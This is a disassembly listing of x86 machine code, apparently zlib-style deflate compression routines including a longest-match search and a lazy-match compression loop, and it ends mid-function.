		cmp	dword ptr [edx+58h], 0
		jnz	loc_4BFC1F
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		add	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+64h], ecx
		jmp	short loc_4BFD30
; ---------------------------------------------------------------------------


loc_4BFCCF:				; CODE XREF: .text:004BFBFDj
					; .text:004BFC0Aj
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	edx, [ebp+8]
		add	ecx, [edx+58h]
		mov	eax, [ebp+8]
		mov	[eax+64h], ecx
		mov	ecx, [ebp+8]
		mov	dword ptr [ecx+58h], 0
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		xor	ecx, ecx
		mov	cl, [eax+edx]
		mov	edx, [ebp+8]
		mov	[edx+40h], ecx
		mov	eax, [ebp+8]
		mov	ecx, [ebp+8]
		mov	edx, [eax+40h]
		mov	ecx, [ecx+50h]
		shl	edx, cl
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	eax, [ebp+8]
		mov	eax, [eax+30h]
		xor	ebx, ebx
		mov	bl, [eax+ecx+1]
		xor	edx, ebx
		mov	ecx, [ebp+8]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp+8]
		mov	[eax+40h], edx


loc_4BFD30:				; CODE XREF: .text:004BFCCDj
		jmp	loc_4BFDF3
; ---------------------------------------------------------------------------


loc_4BFD35:				; CODE XREF: .text:004BFAB5j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	dl, [edx+ecx]
		mov	[ebp-14h], dl
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	edx, [ebp+8]
		mov	eax, [edx+169Ch]
		mov	word ptr [eax+ecx*2], 0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1690h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	al, [ebp-14h]
		mov	[edx+ecx], al
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1698h]
		add	edx, 1
		mov	eax, [ebp+8]
		mov	[eax+1698h], edx
		mov	ecx, [ebp-14h]
		and	ecx, 0FFh
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+8Ch]
		add	ax, 1
		mov	ecx, [ebp-14h]
		and	ecx, 0FFh
		mov	edx, [ebp+8]
		mov	[edx+ecx*4+8Ch], ax
		mov	eax, [ebp+8]
		mov	ecx, [eax+1694h]
		sub	ecx, 1
		mov	edx, [ebp+8]
		xor	eax, eax
		cmp	[edx+1698h], ecx
		setz	al
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx+6Ch]
		sub	edx, 1
		mov	eax, [ebp+8]
		mov	[eax+6Ch], edx
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		add	edx, 1
		mov	eax, [ebp+8]
		mov	[eax+64h], edx


loc_4BFDF3:				; CODE XREF: .text:loc_4BFD30j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4BFE65
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+54h], 0
		jl	short loc_4BFE13
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		mov	ecx, [ebp+8]
		add	eax, [ecx+54h]
		mov	[ebp-1Ch], eax
		jmp	short loc_4BFE1A
; ---------------------------------------------------------------------------


loc_4BFE13:				; CODE XREF: .text:004BFE00j
		mov	dword ptr [ebp-1Ch], 0


loc_4BFE1A:				; CODE XREF: .text:004BFE11j
		push	0
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [edx+64h]
		sub	ecx, [eax+54h]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4C20F2
		add	esp, 10h
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [edx+64h]
		mov	[ecx+54h], eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx]
		push	edx
		call	sub_4BEF80
		add	esp, 4
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+10h], 0
		jnz	short loc_4BFE65
		xor	eax, eax
		jmp	loc_4BFEF5
; ---------------------------------------------------------------------------


loc_4BFE65:				; CODE XREF: .text:004BFDF7j
					; .text:004BFE5Cj
		jmp	loc_4BF9B1
; ---------------------------------------------------------------------------


loc_4BFE6A:				; CODE XREF: .text:004BF9EBj
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+54h], 0
		jl	short loc_4BFE84
		mov	eax, [ebp+8]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+8]
		add	ecx, [edx+54h]
		mov	[ebp-20h], ecx
		jmp	short loc_4BFE8B
; ---------------------------------------------------------------------------


loc_4BFE84:				; CODE XREF: .text:004BFE71j
		mov	dword ptr [ebp-20h], 0


loc_4BFE8B:				; CODE XREF: .text:004BFE82j
		xor	eax, eax
		cmp	dword ptr [ebp+0Ch], 4
		setz	al
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+64h]
		sub	eax, [edx+54h]
		push	eax
		mov	ecx, [ebp-20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4C20F2
		add	esp, 10h
		mov	eax, [ebp+8]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		mov	[eax+54h], edx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		push	ecx
		call	sub_4BEF80
		add	esp, 4
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_4BFEE6
		xor	eax, eax
		cmp	dword ptr [ebp+0Ch], 4
		setnz	al
		dec	eax
		and	eax, 2
		jmp	short loc_4BFEF5
; ---------------------------------------------------------------------------


loc_4BFEE6:				; CODE XREF: .text:004BFED5j
		mov	eax, [ebp+0Ch]
		sub	eax, 4
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		add	eax, 3


loc_4BFEF5:				; CODE XREF: .text:004BF9DDj
					; .text:004BFE60j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BFEFA	proc near		; CODE XREF: .text:004BFAA0p
					; .text:004C0359p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+74h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx+64h]
		mov	[ebp+var_14], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+88h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+24h]
		sub	ecx, 106h
		mov	edx, [ebp+arg_0]
		cmp	[edx+64h], ecx
		jbe	short loc_4BFF5A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+24h]
		sub	ecx, 106h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		sub	eax, ecx
		mov	[ebp+var_34], eax
		jmp	short loc_4BFF61
; ---------------------------------------------------------------------------


loc_4BFF5A:				; CODE XREF: sub_4BFEFA+45j
		mov	[ebp+var_34], 0


loc_4BFF61:				; CODE XREF: sub_4BFEFA+5Ej
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+38h]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		lea	ecx, [ecx+eax+102h]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_18]
		mov	al, [edx-1]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_18]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_4], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+70h]
		cmp	edx, [ecx+84h]
		jb	short loc_4BFFC0
		mov	eax, [ebp+var_2C]
		shr	eax, 2
		mov	[ebp+var_2C], eax


loc_4BFFC0:				; CODE XREF: sub_4BFEFA+BBj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+6Ch]
		jbe	short loc_4BFFD4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		mov	[ebp+var_C], ecx


loc_4BFFD4:				; CODE XREF: sub_4BFEFA+CFj
					; sub_4BFEFA+30Fj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		cmp	edx, eax
		jnz	short loc_4C003B
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx-1]
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		cmp	edx, eax
		jnz	short loc_4C003B
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	edx, ecx
		jnz	short loc_4C003B
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jz	short loc_4C0040


loc_4C003B:				; CODE XREF: sub_4BFEFA+FAj
					; sub_4BFEFA+111j ...
		jmp	loc_4C01E2
; ---------------------------------------------------------------------------


loc_4C0040:				; CODE XREF: sub_4BFEFA+13Fj
		mov	ecx, [ebp+var_14]
		add	ecx, 2
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_4C0052:				; CODE XREF: sub_4BFEFA+28Ej
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		mov	al, [ecx]
		cmp	edx, eax
		jnz	loc_4C018E
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [edx]
		cmp	eax, ecx
		jnz	loc_4C018E
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	dl, [eax]
		cmp	ecx, edx
		jnz	loc_4C018E
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		mov	al, [ecx]
		cmp	edx, eax
		jnz	loc_4C018E
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [edx]
		cmp	eax, ecx
		jnz	short loc_4C018E
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	dl, [eax]
		cmp	ecx, edx
		jnz	short loc_4C018E
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		mov	al, [ecx]
		cmp	edx, eax
		jnz	short loc_4C018E
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [edx]
		cmp	eax, ecx
		jnz	short loc_4C018E
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_30]
		jb	loc_4C0052


loc_4C018E:				; CODE XREF: sub_4BFEFA+17Aj
					; sub_4BFEFA+1A2j ...
		mov	eax, [ebp+var_30]
		sub	eax, [ebp+var_14]
		mov	ecx, 102h
		sub	ecx, eax
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_30]
		sub	edx, 102h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_18]
		jle	short loc_4C01E2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	[ecx+68h], edx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_24]
		cmp	ecx, [ebp+var_C]
		jl	short loc_4C01CB
		jmp	short loc_4C020F
; ---------------------------------------------------------------------------


loc_4C01CB:				; CODE XREF: sub_4BFEFA+2CDj
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_18]
		mov	al, [edx-1]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_18]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_4], dl


loc_4C01E2:				; CODE XREF: sub_4BFEFA:loc_4C003Bj
					; sub_4BFEFA+2B6j
		mov	eax, [ebp+arg_4]
		and	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_20]
		jbe	short loc_4C020F
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		cmp	[ebp+var_2C], 0
		jnz	loc_4BFFD4


loc_4C020F:				; CODE XREF: sub_4BFEFA+2CFj
					; sub_4BFEFA+300j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx+6Ch]
		ja	short loc_4C021F
		mov	eax, [ebp+var_18]
		jmp	short loc_4C0225
; ---------------------------------------------------------------------------


loc_4C021F:				; CODE XREF: sub_4BFEFA+31Ej
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+6Ch]


loc_4C0225:				; CODE XREF: sub_4BFEFA+323j
		mov	esp, ebp
		pop	ebp
		retn
sub_4BFEFA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		mov	dword ptr [ebp-8], 0


loc_4C0237:				; CODE XREF: .text:loc_4C07CEj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+6Ch], 106h
		jnb	short loc_4C0276
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4BF6D0
		add	esp, 4
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+6Ch], 106h
		jnb	short loc_4C0268
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_4C0268
		xor	eax, eax
		jmp	loc_4C0916
; ---------------------------------------------------------------------------


loc_4C0268:				; CODE XREF: .text:004C0259j
					; .text:004C025Fj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_4C0276
		jmp	loc_4C07D3
; ---------------------------------------------------------------------------


loc_4C0276:				; CODE XREF: .text:004C0241j
					; .text:004C026Fj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+6Ch], 3
		jb	short loc_4C02F3
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	edx, [edx+40h]
		mov	ecx, [eax+50h]
		shl	edx, cl
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	eax, [ebp+8]
		mov	eax, [eax+30h]
		xor	ebx, ebx
		mov	bl, [eax+ecx+2]
		xor	edx, ebx
		mov	ecx, [ebp+8]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp+8]
		mov	[eax+40h], edx
		mov	ecx, [ebp+8]
		mov	edx, [ecx+40h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+3Ch]
		xor	eax, eax
		mov	ax, [ecx+edx*2]
		mov	[ebp-8], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+64h]
		and	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+38h]
		mov	cx, [ebp-8]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+3Ch]
		mov	ecx, [ebp+8]
		mov	cx, [ecx+64h]
		mov	[edx+eax*2], cx


loc_4C02F3:				; CODE XREF: .text:004C027Dj
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [eax+58h]
		mov	[edx+70h], ecx
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [eax+68h]
		mov	[edx+5Ch], ecx
		mov	edx, [ebp+8]
		mov	dword ptr [edx+58h], 2
		cmp	dword ptr [ebp-8], 0
		jz	loc_4C03A3
		mov	eax, [ebp+8]
		mov	ecx, [ebp+8]
		mov	edx, [eax+70h]
		cmp	edx, [ecx+78h]
		jnb	short loc_4C03A3
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		sub	ecx, [ebp-8]
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		sub	eax, 106h
		cmp	ecx, eax
		ja	short loc_4C03A3
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+80h], 2
		jz	short loc_4C0367
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4BFEFA
		add	esp, 8
		mov	ecx, [ebp+8]
		mov	[ecx+58h], eax


loc_4C0367:				; CODE XREF: .text:004C034Fj
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+58h], 5
		ja	short loc_4C03A3
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+80h], 1
		jz	short loc_4C0399
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+58h], 3
		jnz	short loc_4C03A3
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [edx+64h]
		sub	ecx, [eax+68h]
		cmp	ecx, 1000h
		jbe	short loc_4C03A3


loc_4C0399:				; CODE XREF: .text:004C037Aj
		mov	edx, [ebp+8]
		mov	dword ptr [edx+58h], 2


loc_4C03A3:				; CODE XREF: .text:004C0319j
					; .text:004C032Bj ...
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+70h], 3
		jb	loc_4C0666
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+58h]
		cmp	eax, [edx+70h]
		ja	loc_4C0666
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+6Ch]
		lea	edx, [edx+ecx-3]
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+8]
		mov	ecx, [eax+70h]
		sub	ecx, 3
		mov	[ebp-14h], cl
		mov	edx, [ebp+8]
		mov	eax, [edx+64h]
		sub	eax, 1
		mov	ecx, [ebp+8]
		sub	eax, [ecx+5Ch]
		mov	[ebp-10h], ax
		mov	edx, [ebp+8]
		mov	eax, [edx+1698h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+169Ch]
		mov	cx, [ebp-10h]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+1690h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1698h]
		mov	cl, [ebp-14h]
		mov	[eax+edx], cl
		mov	edx, [ebp+8]
		mov	eax, [edx+1698h]
		add	eax, 1
		mov	ecx, [ebp+8]
		mov	[ecx+1698h], eax
		mov	dx, [ebp-10h]
		sub	dx, 1
		mov	[ebp-10h], dx
		mov	eax, [ebp-14h]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4F2CA0[eax]
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+490h]
		add	ax, 1
		mov	ecx, [ebp-14h]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4F2CA0[ecx]
		mov	ecx, [ebp+8]
		mov	[ecx+edx*4+490h], ax
		mov	edx, [ebp-10h]
		and	edx, 0FFFFh
		cmp	edx, 100h
		jge	short loc_4C04A8
		mov	eax, [ebp-10h]
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cl, byte_4F2AA0[eax]
		mov	[ebp-20h], ecx
		jmp	short loc_4C04BF
; ---------------------------------------------------------------------------


loc_4C04A8:				; CODE XREF: .text:004C0491j
		mov	edx, [ebp-10h]
		and	edx, 0FFFFh
		sar	edx, 7
		xor	eax, eax
		mov	al, byte_4F2BA0[edx]
		mov	[ebp-20h], eax


loc_4C04BF:				; CODE XREF: .text:004C04A6j
		mov	ecx, [ebp-20h]
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+980h]
		add	ax, 1
		mov	ecx, [ebp-20h]
		mov	edx, [ebp+8]
		mov	[edx+ecx*4+980h], ax
		mov	eax, [ebp+8]
		mov	ecx, [eax+1694h]
		sub	ecx, 1
		mov	edx, [ebp+8]
		xor	eax, eax
		cmp	[edx+1698h], ecx
		setz	al
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx+70h]
		sub	edx, 1
		mov	eax, [ebp+8]
		mov	ecx, [eax+6Ch]
		sub	ecx, edx
		mov	edx, [ebp+8]
		mov	[edx+6Ch], ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax+70h]
		sub	ecx, 2
		mov	edx, [ebp+8]
		mov	[edx+70h], ecx


loc_4C0522:				; CODE XREF: .text:004C05C6j
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		add	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+64h], ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		cmp	ecx, [ebp-0Ch]
		ja	short loc_4C05B0
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	edx, [edx+40h]
		mov	ecx, [eax+50h]
		shl	edx, cl
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	eax, [ebp+8]
		mov	eax, [eax+30h]
		xor	ebx, ebx
		mov	bl, [eax+ecx+2]
		xor	edx, ebx
		mov	ecx, [ebp+8]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp+8]
		mov	[eax+40h], edx
		mov	ecx, [ebp+8]
		mov	edx, [ecx+40h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+3Ch]
		xor	eax, eax
		mov	ax, [ecx+edx*2]
		mov	[ebp-8], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+64h]
		and	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+38h]
		mov	cx, [ebp-8]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+3Ch]
		mov	ecx, [ebp+8]
		mov	cx, [ecx+64h]
		mov	[edx+eax*2], cx


loc_4C05B0:				; CODE XREF: .text:004C053Aj
		mov	edx, [ebp+8]
		mov	eax, [edx+70h]
		sub	eax, 1
		mov	ecx, [ebp+8]
		mov	[ecx+70h], eax
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+70h], 0
		jnz	loc_4C0522
		mov	eax, [ebp+8]
		mov	dword ptr [eax+60h], 0
		mov	ecx, [ebp+8]
		mov	dword ptr [ecx+58h], 2
		mov	edx, [ebp+8]
		mov	eax, [edx+64h]
		add	eax, 1
		mov	ecx, [ebp+8]
		mov	[ecx+64h], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4C0661
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+54h], 0
		jl	short loc_4C060F
		mov	eax, [ebp+8]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+8]
		add	ecx, [edx+54h]
		mov	[ebp-24h], ecx
		jmp	short loc_4C0616
; ---------------------------------------------------------------------------


loc_4C060F:				; CODE XREF: .text:004C05FCj
		mov	dword ptr [ebp-24h], 0


loc_4C0616:				; CODE XREF: .text:004C060Dj
		push	0
		mov	eax, [ebp+8]
		mov	ecx, [ebp+8]
		mov	edx, [eax+64h]
		sub	edx, [ecx+54h]
		push	edx
		mov	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4C20F2
		add	esp, 10h
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	[edx+54h], ecx
		mov	edx, [ebp+8]
		mov	eax, [edx]
		push	eax
		call	sub_4BEF80
		add	esp, 4
		mov	ecx, [ebp+8]
		mov	edx, [ecx]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_4C0661
		xor	eax, eax
		jmp	loc_4C0916
; ---------------------------------------------------------------------------


loc_4C0661:				; CODE XREF: .text:004C05F3j
					; .text:004C0658j
		jmp	loc_4C07CE
; ---------------------------------------------------------------------------


loc_4C0666:				; CODE XREF: .text:004C03AAj
					; .text:004C03BCj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+60h], 0
		jz	loc_4C07A6
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+30h]
		mov	dl, [ecx+edx-1]
		mov	[ebp-18h], dl
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	edx, [ebp+8]
		mov	eax, [edx+169Ch]
		mov	word ptr [eax+ecx*2], 0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1690h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	al, [ebp-18h]
		mov	[edx+ecx], al
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1698h]
		add	edx, 1
		mov	eax, [ebp+8]
		mov	[eax+1698h], edx
		mov	ecx, [ebp-18h]
		and	ecx, 0FFh
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+8Ch]
		add	ax, 1
		mov	ecx, [ebp-18h]
		and	ecx, 0FFh
		mov	edx, [ebp+8]
		mov	[edx+ecx*4+8Ch], ax
		mov	eax, [ebp+8]
		mov	ecx, [eax+1694h]
		sub	ecx, 1
		mov	edx, [ebp+8]
		xor	eax, eax
		cmp	[edx+1698h], ecx
		setz	al
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4C0774
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+54h], 0
		jl	short loc_4C0734
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		mov	ecx, [ebp+8]
		add	eax, [ecx+54h]
		mov	[ebp-28h], eax
		jmp	short loc_4C073B
; ---------------------------------------------------------------------------


loc_4C0734:				; CODE XREF: .text:004C0721j
		mov	dword ptr [ebp-28h], 0


loc_4C073B:				; CODE XREF: .text:004C0732j
		push	0
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [edx+64h]
		sub	ecx, [eax+54h]
		push	ecx
		mov	edx, [ebp-28h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4C20F2
		add	esp, 10h
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [edx+64h]
		mov	[ecx+54h], eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx]
		push	edx
		call	sub_4BEF80
		add	esp, 4


loc_4C0774:				; CODE XREF: .text:004C0718j
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		add	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+64h], ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax+6Ch]
		sub	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+6Ch], ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+10h], 0
		jnz	short loc_4C07A4
